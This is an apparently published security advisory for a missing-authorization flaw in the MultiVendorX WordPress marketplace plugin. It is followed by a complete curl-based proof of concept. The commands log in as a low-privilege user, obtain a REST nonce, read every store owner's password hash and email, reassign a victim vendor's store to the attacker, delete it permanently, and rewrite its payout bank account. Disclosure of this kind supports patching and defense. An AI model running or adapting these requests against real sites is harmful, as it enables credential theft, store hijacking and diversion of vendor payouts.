MultiVendorX < 5.0.11 – Store Owner+ Cross-Vendor Store Takeover and Deletion via Missing Authorization | CVE 2026-16605

Description

The plugin does not verify that the store targeted through its REST API belongs to the requesting vendor, allowing an authenticated vendor (Store Owner and above) to view, take over, permanently delete, or modify any other vendor's store on the marketplace.
Additionally, a related missing authorization on the store-listing endpoint lets any authenticated user (Subscriber and above) read every store owner's WordPress password hash and email address.

Proof of Concept

Prerequisites: WooCommerce + MultiVendorX (<= 5.0.10) active; a victim vendor owns store id <VID>. The attacker uses only their own legitimate logged-in session (an approved Store Owner for the write steps; any logged-in user, including a Subscriber, for the disclosure step).

SHOP="https://victim.example"

# Log the attacker in (obtain session cookies)
curl -sk -c cj.txt "$SHOP/wp-login.php" -o /dev/null
curl -sk -c cj.txt -b cj.txt \
  --data-urlencode "log=<ATTACKER_USER>" --data-urlencode "pwd=<ATTACKER_PASS>" \
  --data-urlencode "wp-submit=Log In" --data-urlencode "redirect_to=$SHOP/" \
  --data-urlencode "testcookie=1" "$SHOP/wp-login.php" -o /dev/null

# Obtain a wp_rest nonce for the attacker's own session
NONCE=$(curl -sk -b cj.txt "$SHOP/wp-admin/admin-ajax.php?action=rest-nonce")

# (1) DISCLOSURE (any authenticated user, incl. Subscriber): list every store owner's password hash + email
curl -sk -b cj.txt -H "X-WP-Nonce: $NONCE" "$SHOP/wp-json/multivendorx/v1/stores"
#   -> each element's primary_owner.data.user_pass is a WordPress password hash

# (2) TAKEOVER (Store Owner+): reassign victim store <VID> to the attacker <ATT_UID>
curl -sk -X PUT -b cj.txt -H "X-WP-Nonce: $NONCE" -H "Content-Type: application/json" \
  --data '{"delete":1,"deleteOption":"set_store_owner","new_owner_id":<ATT_UID>}' \
  "$SHOP/wp-json/multivendorx/v1/stores/<VID>"          # -> {"success":true}

# (3) DELETION (Store Owner+): permanently delete another vendor's store
curl -sk -X PUT -b cj.txt -H "X-WP-Nonce: $NONCE" -H "Content-Type: application/json" \
  --data '{"delete":1,"deleteOption":"permanent_delete"}' \
  "$SHOP/wp-json/multivendorx/v1/stores/<VID>"          # -> {"success":true}

# (4) META OVERWRITE (Store Owner+): rewrite another vendor's store meta (e.g. payout account)
curl -sk -X PUT -b cj.txt -H "X-WP-Nonce: $NONCE" -H "Content-Type: application/json" \
  --data '{"payment_account":"attacker-bank-9999"}' \
  "$SHOP/wp-json/multivendorx/v1/stores/<VID>"          # -> {"success":true,...}

Controls: an unauthenticated GET of /stores is 403 (no nonce); a Subscriber PUT to /stores/<id> is 403 (lacks edit_stores) under the default 'manually' store-approval setting.